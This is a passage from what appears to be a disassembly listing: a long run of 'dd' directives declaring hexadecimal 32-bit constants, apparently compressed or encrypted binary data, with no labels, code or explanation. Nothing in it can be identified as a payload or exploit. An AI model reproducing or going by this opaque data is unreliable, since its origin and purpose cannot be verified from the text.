0F46AF40Eh, 0D4031248h, 96E0AE29h, 3F6D41CAh, 0F71342B6h dd 5C6DFF84h, 6CF0899h, 7E0DADF9h, 0F5EA4D64h, 15B92A56h dd 0C8A0A34Fh, 2C28A802h, 49089A59h, 2880837Fh, 1FDE9D5h dd 27CBE7FEh, 0DA7397FEh, 0B46758B2h, 36D98CB7h, 0B15A51CDh dd 0B95E99ECh, 2DAA9BB3h, 95A20BF4h, 0BED6170Eh, 0F6A18C2h dd 0BAB06BC4h, 0E3607E8Ah, 7080E955h, 49CA56B5h, 0E19F8266h dd 0B878FDDFh, 9E0F8D6h, 77127068h, 5D2F5B3h, 891CF17Fh dd 6C7FFDBBh, 0A3C5B70Dh, 6044FE9Ah, 0B96CDAEDh, 6279AD06h dd 82212F58h, 790A4A82h, 3659EB6Ah, 0E966F4ADh, 7F25EADCh dd 5C13C567h, 9713CCAAh, 0EC49254Fh, 66B0DD28h, 133E316Eh dd 0A6E6922Eh, 6C37A4FAh, 0C841CC41h, 779744D2h, 0C02413FEh dd 53122CCDh, 3D43B738h, 0A0407F8h, 80CED028h, 0E9ACB252h dd 85C3FF7Bh, 0AFF55EA9h, 5EB73062h, 9C712DC1h, 4ED7F6EBh dd 0B45D0E09h, 6368109Bh, 99E90C0Fh, 448C156Ah, 6FF7762Eh dd 17845BFCh, 7B5108Dh, 30B5A1Bh, 39F101B4h, 1D60E82Fh dd 0F46DC280h, 0C5880B03h, 0BB97D484h, 69307529h, 0F1F3C33Dh dd 24640D7Dh, 590EA566h, 0E329C309h, 2189EF8Bh, 16249C7Dh dd 0A83C91E9h, 4A68E054h, 0C5E9B6Bh, 2D4C7E96h, 0D8633309h dd 8088D077h, 4B456807h, 0ADF88C53h, 2AE14C0Fh, 0FD3F89E9h dd 0E5C9D61Bh, 5C4E89F2h, 147D609h, 6824BC6h, 78FCAF96h dd 0BF4C8EA9h, 5DA748D6h, 0E926F93Eh, 598B1A35h, 5CEC0957h dd 0D8712D98h, 0C522C490h, 68C83105h, 1E8D088Dh, 0F2D72757h dd 0BD08D6F6h, 2D31F1F0h, 58C14F71h, 8CD46432h, 0E7DAEC1Ah dd 6AB1C55Dh, 132F108Ah, 2C1C6B3h, 0EF81B42Eh, 0C7598DC3h dd 9AB13FE1h, 0D31D892Fh, 9BD280C5h, 0A7B8151Ch, 51AC5925h dd 483C30E3h, 35587757h, 2E0270BFh, 0E6C17E76h, 98DE7802h dd 720505C5h, 1467BF6h, 8A4B6CC7h, 9DD13B74h, 0BEF853C3h dd 0B2FCB563h, 1CC10820h, 370A0768h, 983618A0h, 0E9C0889Ch dd 3BB79AD0h, 3F93F729h, 2BCBAAE6h, 265DAF5Eh, 9FBF452h dd 7214B8Fh, 9601C180h, 0A321A610h, 590306F9h, 0FB9E84ECh dd 0D0D37FE2h, 2959D15Dh, 0CD1DA2B8h, 395701E5h, 2DE960B0h dd 58517A10h, 5F93B4C8h, 0A32E1D2Dh, 5C68C13Dh, 0FA2142A6h dd 3B51D869h, 0B4F56693h, 405498E2h, 3700B87Dh, 0D7B126Eh dd 3A5475EDh, 0C7FCE932h, 30DFCEFDh, 0F03060F6h, 685A7BC1h dd 467491Bh, 2F43A58Dh, 7F89E080h, 0B0415AF9h, 559AADE0h dd 5359CB00h, 0BA4DC3BBh, 0A35AB76Bh, 5051074h, 5BDE29ABh dd 2D07C0ADh, 993F4069h, 20BC805Ch, 229C98B9h, 6AA9DB42h dd 0AEB23AD8h, 7202950Bh, 41F1E380h, 0F0C7774h, 3E7606E9h dd 79E409BBh, 2300269Fh, 128E2EE2h, 18042F90h, 893373F1h dd 0CE05B7E8h, 47D4AAE9h, 324EC28Dh, 0A0680AEAh, 203A6866h dd 0BF42504Ah, 84190148h, 810093DAh, 0C834CEEAh, 28AE284Fh dd 0A341729Bh, 1F876260h, 9F280378h, 0A10756EAh, 11DA7F7Bh dd 9A17BF43h, 70472140h, 3DFC1936h, 4F4D9C8Eh, 0A58DBE04h dd 7005A5A8h, 747E13DEh, 0ED3B0496h, 0F831049Ch, 5E715EB4h dd 0BBC0B4DEh, 9D65A26Ah, 0D534E309h, 59DF7F92h, 0EA976F64h dd 2112392Fh, 387EA79Eh, 695FD050h, 9C444A5Ah, 0ECAFD6EDh dd 324E86F6h, 41E0971Dh, 9630217Ah, 19C40C3Eh, 0EC545BD0h dd 8C52851h, 14BA5228h, 0B707D09Dh, 0C7815DC5h, 2B214FE0h dd 217942Eh, 0FAE95D08h, 554A5158h, 939E70B2h, 0C006FDBDh dd 4DFB4086h, 0C6549D01h, 5D120C68h, 0AC5A33ACh, 0C8B6E13Ah dd 802D886Ah, 0D368D841h, 0A680503h, 0C5C7719Fh, 3E07142Dh dd 412187B4h, 65DB1Ah, 7FEA7AFFh, 5CEB599Fh, 0FB099394h dd 9250B117h, 80895A2h, 799E08C2h, 8A823C26h, 403BFA29h dd 487006BEh, 0B5781861h, 14352A00h, 655A25C3h, 40BA3EA0h dd 68B75A26h, 0B474EF11h, 17D74950h, 0E95B83E7h, 6400EAA4h dd 0B35316B5h, 73C38091h, 0A7F33B73h, 28A4EB00h, 0F08DE9DDh dd 0BB40BA94h, 4C4611E1h, 2506463Ah, 0C424D1Bh, 6D2EFD0Fh dd 47E38069h, 767D2A49h, 0B3044FC1h, 40D6BEAh, 0B7A28436h dd 48A4FD4Bh, 352F0948h, 0C14900CCh, 80444E54h, 62000EE9h dd 0C8896929h, 3822D59h, 53F4A0Ch, 35F7EB11h, 5E930401h dd 0D425BA1Dh, 7CDA8409h, 565B0214h, 225879E9h, 0C1F85C4Fh dd 2EEB6809h, 0C263925Eh, 9AFF856Eh, 0FE1F1483h, 66ED87E2h dd 0E1AA0583h, 402BB790h, 33BA1A63h, 0C2B87B35h, 742D660Fh dd 0E9C56192h, 0F16D4756h, 39FDFC07h, 0B0D6B43Ah, 0A45A6848h dd 41CD9BD8h, 3707898h, 0B27E3CEEh, 0CA32EA11h, 2B1C7FB5h dd 0B753B801h, 5BFA206Ch, 458BA879h, 8BBD3960h, 70237918h dd 2527D9CCh, 58546120h, 0D2EF2C13h, 0B66290F9h, 61FFACC2h dd 0C4380939h, 0F3CC5C2Fh, 90883071h, 7B098155h, 0EAF6D897h dd 7C5FFFBh, 0FC651E79h, 0C509FCB4h, 2488863Eh, 0D0283D6Eh dd 0FEAD5F13h, 0BA687570h, 6E709408h, 27D76A87h, 0BA8E75E9h dd 0E45A6EF3h, 3862DE47h, 7765F987h, 0F0B02ACEh, 9D4D9Ah dd 1AD04718h, 0CEF20081h, 970C907h, 0DFA05AD6h, 73130ACDh dd 8AB2152h, 5F259EBAh, 63E90433h, 0E5B87BE7h, 0A0D4E5B7h dd 2DB25BB3h, 12EDC904h, 0D5EE184Ah, 2E5E0577h, 0EC36814Dh dd 0A8FD3BC5h, 628FA4Ah, 75B232E9h, 7857C66Fh, 0BB0CD202h dd 7FC00E97h, 0C17B4D48h, 9F027C0Ch, 2CEE2B69h, 537ABE19h dd 6AB2A4Ch, 41260929h, 495E31F0h, 62012314h, 69CD0FB2h dd 0CCE98219h, 0D1BF0114h, 2E2CD92Bh, 0D332A3B2h, 20DDEE10h dd 1F707E95h, 51CA9856h, 0EAD50705h, 961495F8h, 0E05DC40Ch dd 0D3995105h, 0F4685260h, 42C4054Bh, 28592E9h, 0D943B263h dd 12E0B8E3h, 0E75F839Bh, 0F8F421BAh, 0B1580398h, 12C29310h dd 0C14E12FDh, 0FECEDD73h, 86608B85h, 20EC645Dh, 8F829BA9h dd 6870185Dh, 0E9764080h dd 9764222Ah, 154AD5F6h, 0BD2D7B3h, 0C6FDD7D2h, 0A2C69F36h dd 295F2DFEh, 0A2E19289h, 4DCC1F6Ah, 200A648Eh, 9B92D377h dd 0BCF6813h, 1A3E08CCh, 6806C861h, 290AEA74h, 920296DFh dd 434DB445h, 9016FF48h, 2B25041Eh, 0B524CF4Bh, 7AF0F873h dd 835475C8h, 508E8C1h, 2E8B1CF8h, 19CA214Ch, 0BE93F640h dd 47E8B57Fh, 0AA27D261h, 587A054h, 218615Bh, 5730197Dh dd 0C7DCC17Dh, 13420846h, 0BCF26343h, 577B270Fh, 5FB84813h dd 44956695h, 0AFEF5AABh, 0B0C2CF64h, 2B3A97Ch, 0C681E273h dd 0F1C1BF18h, 0DE84404Ah, 42EFDDEDh, 0ADE83EEDh, 215A1B68h dd 6FB61C20h, 306A17B4h, 0B2300BF4h, 97B96CE0h, 19370F12h dd 27E1EB41h, 0C33EC32Bh, 0F5F19DFEh, 0BBBC7B7Ch, 0CACBE9B0h dd 0C327F1B7h, 0DD91FB87h, 0FF4F3045h, 82FC03D3h, 0B80DBB17h dd 1D4ADE6Ah, 0C981AF11h, 527B795Dh, 0A5C1909Fh, 9BDAE240h dd 2AF00683h, 0B36B296Dh, 0FBE0C105h, 1DE4EC8Eh, 299640B1h dd 7420AFEDh, 7BCD46FFh, 9E498DA4h, 51490CBDh, 49EA3C55h dd 7662B0F3h, 0EC5BB034h, 918C92BDh, 0D6139A92h, 0D3BF025Eh dd 60D52234h, 2710C1EDh, 0A2DE955Dh, 4877425h, 0EF92210Bh dd 0C8BD8913h, 822BE912h, 42E14376h, 0FDCBFC02h, 1CF47114h dd 5EE82FFAh, 295FEBD0h, 12D95131h, 0BE1D80F1h, 0D00B07B9h dd 0DEF769h, 0AD8BACC1h, 80849A83h, 307D2CEFh, 0E30C09B2h dd 0F3F38960h, 4C62C7F8h, 0C1070391h, 256533DDh, 0E98449B8h dd 681CD061h, 18B74836h, 2E78BF9Bh, 5AA15FF4h, 0D6009F5Ah dd 0B94FC474h, 510FDC32h, 0B06BCF65h, 2F7B9246h, 3DA40B5Eh dd 275975Eh, 89B8500Ch, 5CB7860Fh, 0D85E5A76h, 32DFA56h dd 22FD7102h, 9D6990FFh, 47B810F0h, 0BC27547Eh, 94227DFAh dd 63916F16h, 6B0F3CAh, 5616F387h, 9EA25E52h, 592C074Eh dd 99F25F5Bh, 15C92957h, 4909AC5h, 1381C3Ah, 95C732ACh dd 0B4052045h, 5A2707FEh, 61FE8E89h, 513E199Ch, 7FAF0C80h dd 2E92D31h, 84364C5Dh, 8904A275h, 0BD4E81E1h, 53F5108Ch dd 79562F28h, 0ED013652h, 9D203C25h, 2530EA31h, 3A0D8087h dd 5134A4Ch, 0B40BAA2Dh, 2B77E5FFh, 0C4688BD0h, 2736927Dh dd 31DA7113h, 14BC8290h, 0B576DA27h, 0E45DAD27h, 5812AE16h dd 322CB0E3h, 4466973Ch, 0B9E4A79Fh, 22B6041Fh, 0CBE14902h dd 0AA7269F8h, 0C1B662CDh, 2DBFBB37h, 0EB823C1Ah, 6902A850h dd 291C6247h, 0B29ADD74h, 8D660C0Bh, 4ED6E94Ch, 78682A20h dd 20672C46h, 0A1F91840h, 0EA1EB652h, 4DCAD6F6h, 263D3DC2h dd 0EE83DC7Ch, 0FE472888h, 2D7390Ch, 8D7C7A2Fh, 0CD008A0h dd 685A2514h, 2F68556Ah, 686C03A3h, 646E1C31h, 0A76E4B75h dd 0C86470D6h, 31AAA27Eh, 24C0AAAAh, 0DB2A930h, 58D37C9Fh dd 0C04B685Ch, 0FAD71BB8h, 0A846960h, 205F9855h, 0D006AEDh dd 50F64CC5h, 1EB13F05h, 0AC012C09h, 454E1601h, 983E1ECCh dd 803B4D28h, 0F03080F6h, 2C110C5Ah, 0C5882E6Eh, 175A394Eh dd 8B45A32Dh, 0BF0478A5h, 866271DEh, 0F2000960h, 4A084233h dd 3E1C113h, 7EDD3FBh, 83B406AEh, 7A4689E9h, 0F0C601FDh dd 89422BD9h, 0EA7C30F7h, 4E3A500Ch, 10140C3Fh, 459BE31h dd 1C83279Fh, 40EAE8AFh, 7A31E908h, 4E89FB90h, 0F816CD3Ah dd 54B460AEh, 37D7062h, 0AEFCD621h, 49FC0999h, 35F3975Ch dd 684C60AFh, 0C13962A0h, 0E1FC5045h, 0E120D4Ah, 4ADB985h dd 4CC15F5Eh, 0C01AE11Fh, 8005E207h, 0D700B7EAh, 7CFA885Ah dd 0F807F25Bh, 0F0974AC2h, 0E4BF6FE9h, 3F2E038Ah, 0DA290976h dd 2C08F441h, 9DDB163Ch, 53523045h, 71C05D80h, 6D6D580Eh dd 0F18E4201h, 649CE992h, 8B0E05A6h, 0A270B966h, 0E0831C5Dh dd 0AA98B730h, 7708A291h, 0FC8803ABh, 2AFCF7FAh, 37AAEF97h dd 0E872D20Dh, 6820F3FAh, 8122DC4Bh, 31476234h, 0A4D7C9FAh dd 87144B08h, 95EA01DCh, 0E9130A2Dh, 948DE145h, 0B4EF4F2Fh dd 68FF90F2h, 0B027619h, 56F483BAh, 0B688E10Dh, 502AAA3Ah dd 3980E909h, 0AFE1B057h, 0F23DC0F3h, 1CD270C9h, 1099894Ch dd 694882E5h, 38A9BD19h, 0B02E7066h, 0C1302727h, 5965818Fh dd 0E9F0786Bh, 94D204Dh, 5712D768h, 0E9272A96h, 0A89B7640h dd 9D3DF045h, 6B5E5F1h, 499247BDh, 0A4F458A9h, 2ABAE961h dd 0CCD0219Dh, 0E1958478h, 25484E09h, 29BE000Ah, 0B7180162h dd 8B752409h, 251454B3h, 7CE6B4C0h, 909BE697h, 0A90E623Dh dd 9AF6761Eh, 0A0D57CAFh, 763AE0B8h, 9E92C06h, 6DF7A5D6h dd 4BB12072h, 46444466h, 1BA138Fh, 0AA2BBDE0h, 5590F102h dd 1251F883h, 0AA3754Eh, 0CBC0DB2Dh, 8D70C380h, 25C4E8E7h dd 0EC95792h, 0F61E2950h, 6850D042h, 0E59D4070h, 8F0B2D94h dd 12527307h, 67546D0h, 970F5756h, 0EE95BF70h, 0DE4228Ah dd 5F8B4338h, 83B162FBh, 1F206801h, 935429B4h, 12E15D16h dd 4010633Ah, 621FAAF9h, 1B892E33h, 4B7C5373h, 6701B155h dd 4B764A32h, 0BD62007Fh, 18B158F5h, 1A5BB807h, 33F2FDE3h dd 29C7D50Eh, 507CD425h, 0FEABAAA9h, 41C09E01h, 3558730Fh dd 0BE5D0640h, 422E1320h, 5010FE1Ah, 7E7705A1h, 18AA65CAh dd 0EB810629h, 9BE90BA0h, 76598995h, 0E868D08Bh, 0E4F8654Ah dd 7359C2B4h, 46DAC11Bh, 0C8FE0854h, 8C13C320h, 1B166030h dd 888397B5h, 6B3A851Ch, 3E9F22D9h, 62B2EC41h, 84351870h dd 207EAF00h, 0C3A61A1h, 30A046FEh, 5E63EA02h, 0BACA88BCh dd 0FBC4785Ah, 0A360136Fh, 31BFD70Ch, 7F5CE79Eh, 303A297Dh dd 0E1F8E933h, 0C08F7CBFh, 0C9BBB9B8h, 0E9E3E050h, 26447C0Ch dd 0B46D0C29h, 22712F8Bh, 8CC25244h, 41335EA9h, 6C3E4468h dd 6C90DE0Fh, 4834BE03h, 0E2D1339Eh, 6F113658h, 33178F8Bh dd 3B2C21AFh, 64AF2AC2h, 0D246E221h, 4EC1D5A0h, 7FA7B46Dh dd 1E8182Eh, 27A9F700h, 528938BCh, 0D218F2FBh, 0FDBE815Dh dd 293DB074h, 65E44AEEh, 0BF04D65Eh, 0DF529AC3h, 2E04C908h dd 686E8C6Ch, 96779538h, 7035A0Bh, 0B5442FBAh, 6F4003ECh dd 0A3704A27h, 15281341h, 3226AEBDh, 580917DAh, 0C8266518h dd 0C9F0ADA6h, 4F306040h, 0E2DFBD8h, 516E983Fh, 0A0B75301h dd 0FD3032B5h, 0C0DBEC2Ah, 5208E5C0h, 0F6EE1D88h, 5AF501D6h dd 2646AD68h, 17B617DBh, 905AD98Ch, 0B1E3275Ch, 509474Eh dd 5EEA7FF9h, 0E3F2CB7h, 0FA1202BCh, 0C15A29F7h, 6A5B8A2Dh dd 44C465B8h, 4CD4E242h, 735B10BBh, 6003292Ch, 6A5D22B5h dd 0CD055800h, 0E961DB3Dh, 0A075BAF9h, 974CC006h, 0ED1316C5h dd 0D666F4BDh, 4B72E62h, 7EB896E6h, 6F28016h, 358A1D29h dd 0A2ADEB5Ah, 5A2FA84Fh, 8930AFA9h, 955DE9D2h, 89C3E3CBh dd 71213F4h, 3E0ADE3Ah, 58C16F2Eh, 3E42D657h, 8062BB5h dd 5914811Ch, 417E42A7h, 0AB92992h, 9099E985h, 30ACB47Ah dd 20A8CC5Ch, 0DAF62806h, 80EE0EF6h, 0EF667CE7h, 0F92F06B4h dd 7287D530h, 5DEAF227h, 0F57F0B55h, 0C479B546h, 7A3D5F81h dd 31837285h, 67DF94h, 0B16E8BDh, 448107F8h, 0D29D6D46h dd 82E9126Eh, 53B6FAF6h, 71D92B7Bh, 616806FAh, 20251D1Eh dd 1109C87Dh, 7C8880A4h, 0D8C244Ah, 0D8E8410Bh, 4E4BDE68h dd 64E6AF30h, 0E95A0872h, 51163098h, 0BA529E70h, 336D17A0h dd 0CFFF0817h, 46EC5C17h, 0F7DA8706h, 681808D3h, 0ED9B440Ch dd 205F8189h, 40500E2Fh dd 859DE054h, 0D0A25E2Ch, 2020626h, 528D698Bh, 18BD8081h dd 39730DEh, 89BEA04Dh, 343EFD34h, 8197D9EBh, 74ACE517h dd 0F5D839F3h, 0F421134Eh, 0EDC1FB0Fh, 1833AF84h, 0C3C7B45Eh dd 0B003D102h, 4866E97Ch, 97C60118h, 0F569F6FEh, 852FCCA3h dd 0E6354400h, 68298440h, 0ED3F4F6Ch, 66118190h, 5AD93AC4h dd 0E401B86Bh, 848DE2FEh, 0B8BA871Bh, 5988C4FAh, 0C41E9910h dd 0EBA39395h, 913E2CBh, 2DFACDEh, 0EF70ED18h, 478BFC29h dd 957885E9h, 1604FB9Eh, 530FA794h, 0EDB706C5h, 461925EAh dd 5AA1B0A7h, 0F9144965h, 5A16CED8h, 3CFDF021h, 0F3E8BC89h dd 0D1957955h, 0BFA4C9F1h, 8C65AB68h, 0AC105B1Fh, 6C26631h dd 0F5CDE8C4h, 43B1FEB5h, 0BA849B44h, 0E9E0FAE9h, 7FE11CAAh dd 2681E7A2h, 70156C54h, 0B9813B62h, 0E550C932h, 0B826A048h dd 0D55E2DE6h, 0D8A7BF73h, 12D62099h, 56D83117h, 6E8656FDh dd 0B117B46Bh, 12BB281Dh, 1CF2AF35h, 67F68080h, 7E4E40E9h dd 0B7853EF8h, 71CA21DAh, 2EBF00A3h, 7E292F52h, 580139D0h dd 0E90C8710h, 0C3DCF8Ch, 1CAA0B26h, 0C0E18040h, 4969AA22h dd 0F6004690h, 2920D321h, 0BEF5E9D9h, 0B252013Bh, 60D43093h dd 0FFAA84F7h, 25833DE0h, 5D67E112h, 1807A310h, 51505E5Ah dd 392C1238h, 208AEB29h, 4B806809h, 0DB889051h, 0D9BB01F2h dd 6A6B6561h, 2F37F6E0h, 41D04F0Ah, 71246771h, 2902C719h dd 5F391726h, 0D90955DCh, 0D175A7CCh, 874CDE2Eh, 43596D9Fh dd 0A2542D60h, 89CBE9B5h, 0A7D357E7h, 0D4B5D322h, 1AE978EFh dd 5CBD7070h, 0D7F76096h, 3B4CBD55h, 2C382C59h, 0E84E7F10h dd 50E7B2E3h, 4B309052h, 4BA8E005h, 0D8A0DAC1h, 0BD2EF713h dd 0ADAAC5FBh, 7BFDF6EAh, 3AA62327h, 0BFC100BEh, 0C236FB1Bh dd 8725E963h, 0D69D0444h, 60F53DC3h, 59EE3F80h, 0D0177D01h dd 4964F329h, 2F9DF3EAh, 5CE009DAh, 5746E238h, 0C957515Dh dd 255EC5D5h, 0B252C575h, 103DF92h, 0D732A2CAh, 62DD8789h dd 0E69BC10Fh, 654D07CEh, 0C7D4AA15h, 0EE098CECh, 0E3854629h dd 4F93BDA6h, 0A886B0ACh, 0EF75EFFBh, 89892250h, 0F65FF82Dh dd 18DF2F7Ch, 9F68ABBEh, 0A3096766h, 369B187h, 0A262B9FEh dd 0E5E7D832h, 0B3E90840h, 49492B5h, 8D6F9DBAh, 0D66C234h dd 72920851h, 5ABEE240h, 25E266Fh, 41DCE681h, 5044696Dh dd 0D16BA025h, 10D7AF74h, 0BE2E8ECEh, 85CA6D4h, 0A220CCC5h dd 0F383AA71h, 58C7FAD6h, 0EC50671Eh, 0A0554551h, 7D03054Eh dd 0F7472834h, 0E4045BDFh, 640CC704h, 0C356C6Dh, 620A12C8h dd 7307BBA2h, 0D7091B65h, 5726B445h, 4D8C6D02h, 0E92CC095h dd 1BF94BDh, 1E5FAA25h, 97CCE801h, 2EB8596h, 0FDB85903h dd 0B48EF853h, 2DFE1786h, 5682026Dh, 0FDB4EB0Eh, 0A9908683h dd 5AEE4525h, 5CE9335h, 0BE393BE9h, 5AE00728h, 561CCA6h dd 46418A06h, 4F580128h, 8102F4B8h, 5148ED02h, 0DC2165E5h dd 817F5AADh, 26B56830h, 35C56F2Ch, 0D67CB93Fh, 5878B304h dd 4C3B107h, 0ECB282CBh, 53C97D0Dh, 7B575D02h, 1FF22584h dd 237CD836h, 985F5F57h, 0EA800CD2h, 58B29F7Bh, 0E98933F9h dd 903658FFh, 14534C91h, 0DD10FD04h, 7168018h, 0E74A22EFh dd 0AD3388EFh, 0D144A75Ah, 4AA466F8h, 0E1F4B734h, 6917B05Ch dd 0F37738F4h, 5A7FBFF8h, 3A47CFBBh, 31EADE35h, 2B52D7DBh dd 7110E041h, 5C600B22h, 0EB45C08Ah, 0F41FA85Ah, 3E00FAB0h dd 835D7B4Bh, 3501E8h, 202B5B58h, 0E050AE05h, 0E529F628h dd 2802BE4Eh, 480B9368h, 0C0C4E817h, 0A12ABA54h, 292D7901h dd 844A45F2h, 0B9AD54E9h, 0B7D212D4h, 18AF9B3h, 2AA709FCh dd 0D5E90F7Eh, 29908E72h, 0CC57080Bh, 9403853Fh, 85CDAB41h dd 40F62635h, 25B5E44Eh, 7D79C510h, 72EEBFB9h, 2749B10Fh dd 685B873Ah, 27A52606h, 5FF47A5Ch, 0C0537178h, 0D4DC769h dd 872D5238h, 175384EFh, 711B3A87h, 0D0094401h, 59A7253Bh dd 1089A658h, 0BF789299h, 90027309h, 36413AAAh, 51F07B4Eh dd 0E9CF1609h, 0A2CDEEDEh, 0D710AE69h, 595B1D4Fh, 0FF6533DAh dd 12D75E5h, 79C26832h, 0DE103576h, 285909B3h, 0A6C584E3h dd 2B5A5807h, 0E10825Dh, 0B65B049Eh, 95FE14BCh, 486381C5h dd 228075D5h, 39D2139Ch, 0F35E9AE9h, 90D0D2D1h, 0D2DFD03Ch dd 0BBA8C5CAh, 8AFC212Dh, 93E39478h, 9817BB9Bh, 0AC5E3ECCh dd 0DFD09DCDh, 72E97CB5h, 7B88575Eh, 7CD02753h, 0ECE3C32h dd 15A89042h, 357B160h, 6BBB23C7h, 1D53D206h, 240C7EABh dd 164EF047h, 0C080BB31h, 0B70829C4h, 0F5C17000h, 6FF355AEh dd 3A34818Eh, 1BC7EB83h, 372F183h, 32A2BE1Ah, 9DD27BDDh dd 2EFEB5CAh, 0A3E68252h, 202E5A4Eh, 0F095496Bh, 93595FB7h dd 75F2FA45h, 283B9AD0h, 9C9193C8h, 0FC425AFh, 0C141587Fh dd 0A5F789F4h, 0AC0C5C34h, 0C95CAF31h, 0A6ECE985h, 0D68FC8Ch dd 1002D9F3h, 59BD2F9Fh, 0EF5E6013h, 7F27F531h, 2240F602h dd 6082D4BEh, 2E4F858Ah, 5A7A0AFDh, 0BD6294CAh, 93BDE363h dd 5EB2EFE9h, 6815104Eh, 70AA78F1h, 18997F4Bh, 7A8B053Eh dd 0E8DDAB2Eh, 2057A92Ah, 5CB80785h, 0A6154B67h, 7EB772EBh dd 26E9D02Ch, 9232054Ah, 0FFC48657h, 0C009517Bh, 95CCF321h dd 0C28B4883h, 1A508705h, 6194AB71h, 22440817h, 0A3B46186h dd 7D6E16BEh, 0E684AE6Ch, 0C559080Bh, 5C5D8D7Fh, 0F3456011h dd 0CFB6604Eh, 8C00D559h, 0E90E780Ah, 0EE959403h, 0C9801C69h dd 28C1C138h, 11612268h, 0B70176EDh, 7AF83CC6h, 0CD12745Eh dd 4FF704A0h, 0D5A446Bh, 8B5DAF67h, 4A966F04h, 0A0CA380h dd 10513C5h, 1F428AD0h, 0DC40E335h, 319D0525h, 9149500Bh dd 5B6D04AEh, 0E1A4E913h, 0B8F07E4Ch, 2B2F13BBh, 42910021h dd 0E933CF2Ah, 1C121127h, 5189B772h, 7F342BFFh, 0F72F52EDh dd 8EC12CBAh, 0D7590242h, 0AF64FFAh, 14FC5C4Ah, 6C81B1h dd 17AA3B1Eh, 8553E927h, 0E081121Fh, 3025D10Ch, 0E32DCF5h dd 0C567D8E5h, 0A2ED60B2h, 8D99EA28h, 72BD840Bh, 64A417FAh dd 0A400BA76h, 6FD02A79h, 3AFA9745h, 30636E06h, 5D365667h dd 770CB19h, 0CD8058E5h, 1CF531EBh, 0D1C83F30h, 6175410Ch dd 29C5DD5Eh, 65FE2E8Fh, 220F243h, 251DBF22h, 0C8773663h dd 3B0449BDh, 0CF056FDCh, 1F06672Ch, 8FD1C0B9h, 0C1E91F3Fh dd 67BF755Eh, 0A86CB545h, 9190784Dh, 745992F0h, 0C509123Ch dd 0FE85D616h, 0DF16C3ECh, 0F1654379h, 85AD6F7h, 771C9BA6h dd 0E94E8F7Ah, 3B3B6F4Dh, 0EF2B31B1h, 54084E65h, 9F82062h dd 0F59D8B5h, 2E65EDC0h, 0C61AC69Dh, 0A0D3022h, 0C31EB1Eh dd 1BB7299Eh, 2568118Fh, 32D10CBAh, 0D028C55Dh, 0F895C12Bh dd 2034BA70h, 87A0396Bh, 2A71439Eh, 4EE4248h, 158D4BC2h dd 238A2EFh, 976DD3Eh, 2955E189h, 5363413Bh, 72D481E9h dd 84F772Fh, 0CEBB8317h, 500510D0h, 53D00178h, 0E7804FB7h dd 0DDF47B15h, 0A0B8308h, 56B55107h, 28EE0F0Dh, 651BE962h dd 4968F9DFh, 4B3EF953h, 0FB2F1BF5h, 0DA6F3C39h, 0CD7F1603h dd 52242CFEh, 6B3AEF90h, 0BA68814Eh, 97ADB199h, 13BEAC3Ah dd 0BF81821h, 43B5B7B4h, 0D8E90948h, 6F98F51Eh, 0C7C068BCh dd 0D3255DE8h, 73E21333h, 6C02EF40h, 72F929E9h, 60620890h dd 519D0E80h, 92B2C11Dh, 2D0AF458h, 4D3D19D3h, 78EF4B95h dd 544BAD03h, 0E16152C8h dd 0F411BC2Fh, 56A98C03h, 0F5688802h, 0E349BD5Ah, 73F7C224h dd 0BB5AE489h, 27E9BAE4h, 0A168A5D2h, 6D240A84h, 93B6E0Eh dd 57685B49h, 348647Ah, 0E69A0401h, 9B821EDEh, 0FF6646Dh dd 17C10C0Eh, 0AA7F0265h, 6C8990F5h, 2D790542h, 6BB47E2Dh dd 5015173h, 1F8D0E33h, 6C70E12Ah, 3064C3BFh, 0C1EFD553h dd 3AF2EFBEh, 0C13F738Ah, 0C3D0BC82h, 14E4CB89h, 48E95712h dd 398007A0h, 0C39E44EBh, 97D6CA78h, 3A570060h, 0D8F747C1h dd 26BD5500h, 0E98B9EDCh, 150B9F14h, 328C0956h, 90EB7DA7h dd 0EE053E07h, 1C1023CCh, 4D406729h, 811363C0h, 460309CDh dd 0E3803CFDh, 169B7C77h, 95FAE918h, 14AC249h, 5344915Eh dd 517B7D68h, 826711CDh, 6F87C623h, 90B7C0C1h, 0FB35804Eh dd 287A4C78h, 47C2CA4Bh, 0C1F1425Ch, 0D2BB42Ch, 734263AFh dd 40CD585h, 738D25F9h, 74F469FFh, 0A49FE0C6h, 7882C6D2h dd 0FE4968F2h, 5C739F18h, 490990A0h, 5F4A9E7Eh, 8827078h dd 59E23762h, 864DA3F5h, 68102751h, 4D948770h, 0DA1B56A7h dd 278DBC5Fh, 8D19762Ch, 3F176E9Dh, 0E9132A8Fh, 7BF7B1C2h dd 0EB5EE08Eh, 1352CB08h, 0DFE6FD01h, 71589B89h, 0EC5545EFh dd 66F1D24Eh, 0FC132520h, 18C1BD54h, 33F6301h, 0A368C80Fh dd 8097253Fh, 0F6B91860h, 6D8D7E0Fh, 56C66649h, 18BD0588h dd 0C019DF79h, 0A72FF50Ch, 140B3F5Ch, 1384E5C1h, 0E1B85425h dd 0CB39E3E7h, 58C1CF12h, 0CAA86E16h, 83FDD889h, 0C1535597h dd 7A61D7F7h, 0C0679AD0h, 0A164C70Ah, 6967D9E9h, 194744h dd 0E8372FEEh, 4A49FA15h, 96E7B318h, 0B300A48Dh, 0B324CC6h dd 87E92DB7h, 12B50958h, 0A0D758F1h, 1D31A92Eh, 4457DDBh dd 0E07EE9FDh, 6DF6BE5Bh, 7C4B974Ch, 80A1DEB5h, 2BC042F3h dd 0DF25684Fh, 7D3E64Eh, 3627CD01h, 8990DB31h, 0F4BF59D0h dd 0B1514272h, 0B11AB784h, 6DA82A2Dh, 0F959CE16h, 69E9E0DCh dd 0E1FFC044h, 0CA14D9Eh, 807DF1ECh, 50DFDAF5h, 21F845A4h dd 0BEC3920h, 0DF3825EDh, 57617002h, 561F8008h, 81217B01h dd 47D8C2E5h, 0B22EC036h, 45380D46h, 0F740A8B0h, 0C8EF5001h dd 162A035Dh, 58BE5673h, 2A706CB1h, 4072C9A0h, 0C858B5F5h dd 0D0A325FAh, 0CBFE3F1Ah, 0BE4D8D93h, 2BEE0D31h, 44C7892Eh dd 0B1B1BE7Ch, 44F6A02Bh, 2DEE684Fh, 85F52F7Bh, 0BD22FE8h dd 8DE6E977h, 0D2DD4C5Dh, 0A930AA07h, 81104AE9h, 0DE854157h dd 0E8AA0475h, 6C0042Bh, 8BC20830h, 5F54EA34h, 0ADB6001Ch dd 280BE5EAh, 0C7D254BBh, 4EBC38D3h, 0CE040A99h, 0F65F5BE8h dd 666013B4h, 81981935h, 38850B68h, 4757507Ch, 0FFF125BBh dd 0D9F362h, 912534BAh, 0DA292117h, 